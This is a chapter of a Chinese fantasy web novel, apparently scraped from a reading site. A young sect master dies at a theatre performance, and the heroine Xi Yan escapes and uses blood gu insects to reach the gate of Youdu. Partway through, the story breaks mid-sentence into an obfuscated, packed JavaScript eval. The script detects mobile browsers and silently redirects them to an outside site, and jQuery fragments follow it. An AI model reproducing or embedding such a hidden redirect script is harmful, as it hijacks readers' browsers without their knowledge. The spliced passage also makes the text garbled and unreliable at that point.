默认冷灰
24号文字
方正启体

2. 第 2 章

作者:禧时本书字数:K更新时间:
    对许多上了年纪的人来说,那并不是一个陌生的故事。


    尽管情节老套,时隔久远,他们仍然能够回忆起戏文中的点滴情节,回忆起那一幕幕的可怖场景。


    因为,那并非一个虚构、杜撰的故事。


    而是一桩百年前真真切切发生过的惨剧——


    世分三界,时人崇仙,修堂建庙,供奉的香火飘往的地方,叫做“仙域”。


    仙域广袤,上分三十六重天,下辖五方大洲。氏族仙家鼎足而立,与玉京天族共同维系凡世太平。


    这“公主祸世”的故事,便要从其中一处叫做南陵青洲的地方说起。


    那里曾是钟灵毓秀、草木不凋的福地,怀姜仙族世代居住于此。


    五百年前,怀姜王宫诞下一对双生花。


    姐姐天赋卓绝,是赫赫有名的剑道翘楚;妹妹灵心慧质,亦是世间罕有的炼器师。


    这本是一段佳话。


    然而所有人都没想到,日后将整个仙域搅得天翻地覆的祸首,正是这怀姜一族的长公主。


    她自幼学于仙宫,受名师教养,理当持正守心、庇佑苍生,却不知何故,竟一夕之间叛出天域。


    心性一旦受损,就如溃堤洪流,再难遏制。她不仅四处挑起战火,更不知从何处寻得邪法——令被天族禁绝已久的至毒“罗刹蛊”,重现于世。


    此蛊凶戾无比,传闻一旦沾染,仙术无用,药石无医,连重霄之上的帝君都束手无策。


    它以怨念为食,血肉为巢。中蛊者会清醒地看着自己身体一点点异化,最终连神智也泯灭,成为一头只知杀戮的恶鬼,在痛苦中死去。


    一时间,天族震怒,凡尘惶恐,仙家数次集议,也难阻这丧心病狂的女魔头。


    短短数年,罗刹蛊不断蔓延,席卷之处生灵涂炭,连她的故土青洲亦难幸免,成了一处荒芜的死地。


    天族愤而兴师,联合四洲精锐,鏖战数月,终于寻得破绽,将这魔头困于诛邪大阵,由当时天族最年轻的战将出手,一剑将其诛杀,魂飞魄散,形神俱灭。


    “至、至此,这场浩劫方、方才停歇。可叹......青洲焦土之上,至今仍开着......染血的断魂花......”


    台上,扮演说书人的伶人声音抖得不成样子,勉强唱完最后一句。白绫垂落,大幕缓缓合拢。


    没有掌声,没有喝彩,连呼吸声都刻意压低了。


    整座戏楼早已变成一座巨大的刑场,而刽子手的刀,就悬在每一个人的头顶,只等曲终那一刻,随机落下。


    最后一句唱毕,全场灯光骤亮。


    死寂。


    令人窒息的死寂笼罩了一切。


    所有人僵在原地,心脏狂跳,时间仿佛被拉长,每一刻都煎熬无比。他们惊恐地转动眼珠,窥探着左右,既害怕看到什么,又无法控制不去看。


    一秒,两秒......十秒......


    竟什么都没发生。


    紧绷的弦稍稍松动,有人开始尝试着深呼吸,放松僵硬的身体,缓缓转动脑袋,确认身边的人都还好端端坐着。


    难道......今日不同,是因为那玄门少主在场,连邪祟也退避了?


    班主几近虚脱,他擦了擦额头的汗,战战兢兢朝二楼那位所在的方向,深深一揖:“少、少宗主......戏,唱完了......”


    他心中忐忑难安,明明先前表现得讳莫如深,如今戏唱完了,却风平浪静,他不知这是福是祸。


    他心惊胆战地等候发落,不过等了一会儿,并没有人回答他。


    就在这时,众人渐渐意识到什么,目光不约而同地,缓缓转向了二楼那间雅间。


    方才他们太过紧张,这会儿才发现,从戏文开始到落幕,那里太过安静了。


    是一种不同寻常的、漫长的寂静。


    守在门外的两名太玄宗修士也察觉不对,其中一人上前一步,低声唤道:“少宗主?”


    无人应答。


    修士面色微变,提高声音又唤一次:“少宗主?”


    依旧一片静默。


    那修士脸色骤变,与同伴交换一个眼神,再也顾不得礼数,抬手运起灵力,猛地震开了房门!


    门内景象霎时映入眼帘。


    只见李玄稷依旧维持着慵懒倚坐的姿势,一只手还搭在扶手上。


    然而,他的面容早已扭曲成一种非人的样貌,头骨两端诡异地向外突出,嘴角不自然地向上扯开,露出一排咬紧的牙齿,皮肤泛着青黑,肌肉纹理僵死地虬结在一起。


    那双细长带钩的眼睛,此刻空洞地睁着,瞳孔缩得只剩针尖大小,所有骄矜、残忍,连同生机都已消散。


    “死了!太玄宗少宗主死了!!”


    不知是谁发出的凄厉尖叫,如同一声惊雷,瞬间炸破戏楼内勉强维持的平静。


    人群轰然四散,桌椅翻倒,杯盘碎裂,哭喊声、惊叫声、推搡践踏声混作一团,所有人都像无头苍蝇般疯狂涌向各个出口。


    “封、封住!封住所有门窗!任何人不得离开!!”


    修士目眦尽裂,强压惊惶,一边厉声呵斥,一边手中掐诀,试图构筑屏障。


    然而,极致的恐慌之下,人潮已非术法所能轻易阻拦。场面彻底失控,宾客们一个接一个,推搡着、喊叫着,拼命向外挤去。


    就在这混乱中,一名太玄宗弟子眼神锐利,猛地伸手,拦住了一个正欲趁乱向侧门移动的身影。


    那是一个头戴素色帏帽的女子。


    修士凶狠地抓住她胳膊,那女子身形纤细,轻飘飘的,被力道带得转过身。


    帷帽的薄纱扬起一角,露出帽檐下的脸。


    修士怔住。


    那是一张极其清丽的面庞,皮肤白皙,薄薄地贴在脸骨上,眉眼疏淡,一双瞳仁竟是罕见的浅碧色,宛如浸满春意的池水,此刻正漾着惊惶无助的涟漪。


    这份柔软的美丽与无助,足以融化任何铁石心肠。


    修士脑中空了一瞬,手中力道不觉松了半分。


    就在失神的刹那,女子忽地凑近,对着他面门,轻轻吹出一口气。


    气息微凉,带着一缕极淡的、难以形容的冷香。


    修士周身灵力一滞,旋即感到一阵麻痹席卷四肢百骸,竟连指尖都无法动弹分毫,只能眼睁睁看着她轻盈地挣脱,向后一退,宛如游鱼般没入混乱阴暗的人潮,再也寻不见踪迹。


    -


    未至闭城时分,邺城所有城门在官府的急促号令中,轰然关闭。


    太玄宗少宗主离奇暴毙的消息像野火窜过,烧得人心惶惶。


    街面比往日拥挤数倍,挤满了不安的人群,车马乱作一团,到处是交头接耳和张望的脸。


    仙客来被围得严严实实,身着太玄宗服饰的修士与官差守在四周,脸色都很难看。不时有大夫或丹师被请进去,又摇头摆手地出来。


    奚雁站在远处一条僻静的巷口,遥遥望向那被围得铁桶般的戏楼。


    斜阳将她的影子拉得细长,投在斑驳的墙面上。


    她静静地看了片刻,微微垂首。


    下一瞬,墙上的影子便如滴入水中的墨痕,悄无声息地淡去、消散,了无痕迹。


    厚重的城门与修士的封锁线,对她来说不算什么。日落前,奚雁已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092888|195514||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经离开邺城地界。


    她的身形在官道旁的野草丛中缓缓显现。身后远处的城门轮廓逐渐模糊,那片惶惶人声也被旷野的风声取代。


    不知走了多久,前方出现一片茂密的树林,暮色沉沉,林深似海。


    奚雁未作停留,径直走入那片浓郁的阴影之中,很快被林木吞没。


    林子里暗得极快,仿佛另一个世界。


    脚下积年累月的厚厚落叶,踩上去发出细碎空洞的声响,衬得四周愈发寂静。目之所及,尽是树干与枝杈的暗影,层层叠叠,望不到边。


    雾气不知不觉漫了起来。起初只是一股淡淡的潮气,后来愈发浓重。奚雁停住脚步,环顾四周,只剩茫茫一片白雾。


    “少宗主死了!!”


    “少宗主死了!!”


    左手提着的竹笼里突然传出尖叫,和戏楼里那声一模一样。


    奚雁一顿,道:“闭嘴。”


    “为什么?”


    笼中那只小小的耳鼠并没有闭上嘴,对她方才的授意和现在的抗拒,小精怪感到困惑,“刚刚在那里,是你让我这么说的。”


    “......现在不需要了。”


    “好吧。”耳鼠不叫了,但安静没多久,又忽然开口,“你不高兴么?为什么?”


    它等了一会儿,没有得到回答,于是又问:“为什么?”


    依旧没有回答,它锲而不舍地问了好几遍,终于得到一个平淡的声音:“我没有。”


    “不,你就是不高兴。”耳鼠斩钉截铁,它的声音像个稚嫩又好奇的孩童,“你是妖,难道没有见过死人吗?为什么手抖成这样?”


    奚雁猛地回神,按住微微发颤的左手,她深吸一口气,轻声道:“想到要送你回去销毁了,有点舍不得。”


    耳鼠安静了。


    奚雁继续探路。她已经试着朝两个方向走了一段,但绕了几圈,还是回到原地。


    林中静得可怕,连虫鸣都快听不见。


    快到子夜了。


    奚雁不再往前,她微微思忖,确认四周没人,伸出手,指尖在掌心飞快地一划。


    细微的灵力波动后,殷红的血珠从伤口沁出,悬在掌心之上,并不滴落,而是散发着微弱的、奇异的热意。


    她屈指,对着那滴血珠轻轻一弹。


    “嗡——”


    一声低鸣,从她周身的空气中震荡开。


    紧接着,以那滴血珠为中心,无数细碎、沙粒大小的幽碧光点应声逸出,轻盈地悬浮在林间。


    那是些极小的蛊虫,通体晶莹,仿佛冰屑凝成。它们在她身边稍作停留,便向前飘去。


    奚雁跟上,蛊虫所过之处,浓雾似被某种力量熨帖地分开了些许,露出下方被遮盖的小径。


    走了约莫半炷香的功夫,前方雾气忽然剧烈地翻涌起来,光线在雾中跟着一起扭曲、变形。随后雾气如退潮般向两侧散开,一座古旧的石门在林木深处缓缓显现。


    石门门扉紧闭,表面覆盖着厚厚的苔藓与藤蔓,风化得很粗糙。奚雁示意,蛊虫围拢上去,荧光照亮了石门,上面的符文早已模糊。


    它就这样突兀地、静静立在林木深处,仿佛已在此沉寂了千年。


    蛊虫没有再散开,它们一个接一个,越围越紧,光点渐渐聚大,重新变成一滴殷红的血珠,滴入门前的石阶缝隙。


    “轰——”


    沉重的石门缓缓向内打开,苔藓与藤蔓被巨力撕扯、崩裂,仿佛一道新鲜的伤痕。


    奚雁抬头,门楣中央,深深镌刻着两个巨大的古字。


    那是通往另一个世界的入口——


    幽都。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)